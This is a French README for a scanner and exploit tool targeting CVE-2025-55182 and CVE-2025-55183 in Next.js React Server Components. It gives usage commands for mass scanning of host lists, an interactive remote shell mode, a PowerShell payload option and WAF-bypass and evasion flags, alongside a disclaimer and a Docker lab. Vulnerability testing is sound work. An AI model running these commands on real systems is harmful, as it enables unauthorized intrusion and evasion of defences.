
une vulnérabilité critique d'exécution de code à distance (RCE) dans les React Server Components (RSC). Elle inclut également un "Lab Environment" réaliste pour tester et comprendre la vulnérabilité en toute sécurité.
Ce dépôt contient un outil de scan pour CVE-2025-55182 (RCE) et CVE-2025-55183 (Divulgation de code source) dans les composants serveur React (RSC) de Next.js.
Cet outil est destiné uniquement à des fins éducatives et de tests autorisés. N'utilisez pas cet outil sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. Les auteurs ne sont pas responsables d'une mauvaise utilisation.
Pour une analyse technique détaillée, veuillez vous référer à : https://react2shell.com/
pip3 install -r requirements.txt
Vérifiez si une URL cible est vulnérable.
python3 CVE-2025-55182.py -u <url>
Scannez une liste d'hôtes à partir d'un fichier (un par ligne).
python3 CVE-2025-55182.py -l <hosts_file>
Obtenez un shell interactif sur une cible vulnérable.
python3 CVE-2025-55182.py -u <url> --exploit
Vérifiez si une cible divulgue du code source via les Server Actions.
python3 CVE-2025-55182.py -u <url> --nextjs-rsc-source-code-disclosure
Utilisez la détection par canal auxiliaire (basée sur le timing/les erreurs) au lieu de tenter une RCE.
python3 CVE-2025-55182.py -u <url> --safe-check
Ajoutez des données factices pour contourner l'inspection du contenu du WAF ou utilisez des contournements spécifiques.
# Standard WAF bypass (junk data)
python3 CVE-2025-55182.py -u <url> --waf-bypass --waf-bypass-size 128
# Vercel WAF bypass variant
python3 CVE-2025-55182.py -u <url> --vercel-waf-bypass
# Custom headers
python3 CVE-2025-55182.py -u <url> -H "Authorization: Bearer token" -H "X-Custom: Header"
# Proxy usage
python3 CVE-2025-55182.py -u <url> --proxy http://127.0.0.1:8080
# Random User-Agent and Delay
python3 CVE-2025-55182.py -u <url> --random-agent --delay 2.0
# Scan specific path
python3 CVE-2025-55182.py -u <url> --path /_next --path /api
Enregistrez les résultats dans un fichier au format JSON, CSV ou HTML. Le drapeau --all-results enregistre à la fois les hôtes vulnérables et non vulnérables.
python3 CVE-2025-55182.py -u <url> -o results.json --format json --all-results
Vous pouvez exécuter une instance vulnérable pour les tests en utilisant l'image Docker fournie :
docker build -t cve-local .
docker run --rm -p 3000:3000 cve-local
Intéressé par la recherche sur la sécurité de Vercel ? Consultez notre document de recherche collaborative :
📄 VERCEL_RESEARCH.md - Un guide complet pour :
Ouvrez une issue avec le label research pour rejoindre la discussion !
| Argument | Description |
|---|
-u, --url | URL/hôte unique à vérifier. |
-l, --list | Fichier contenant la liste des hôtes à analyser. |
--exploit | Entrer en mode shell interactif (nécessite -u). |
--nextjs-rsc-source-code-disclosure | Vérifier la divulgation de code source (CVE-2025-55183). |
-t, --threads | Nombre de threads simultanés (par défaut : 10). |
--timeout | Délai d'attente de la requête en secondes (par défaut : 10). |
-o, --output | Fichier de sortie pour les résultats. |
--format | Format de sortie : json, csv, html. |
--all-results | Enregistrer tous les résultats, pas seulement les vulnérables. |
-k, --insecure | Désactiver la vérification du certificat SSL. |
-H, --header | En-tête personnalisé au format 'Clé : Valeur'. |
--path | Chemin personnalisé à tester (ex. '/_next'). |
--path-file | Fichier contenant la liste des chemins à tester. |
--safe-check | Utiliser la détection sécurisée par canal auxiliaire au lieu d'un PoC RCE. |
--windows | Utiliser la charge utile PowerShell Windows. |
--waf-bypass | Ajouter des données factices pour contourner le WAF. |
--waf-bypass-size | Taille des données factices en Ko pour le contournement du WAF. |
--vercel-waf-bypass | Utiliser la charge utile de contournement du WAF Vercel. |
--bypass-variant | Sélectionner une variante spécifique de contournement WAF (1-102) ou 'all'. |
-x, --proxy | URL du proxy (ex. http://127.0.0.1:8080). |
--random-agent | Utiliser un User-Agent aléatoire pour chaque requête. |
--delay | Délai entre les requêtes en secondes. |
-v, --verbose | Sortie détaillée (afficher des extraits de réponse). |
-q, --quiet | Mode silencieux (afficher uniquement les hôtes vulnérables). |
--no-color | Désactiver la sortie colorée. |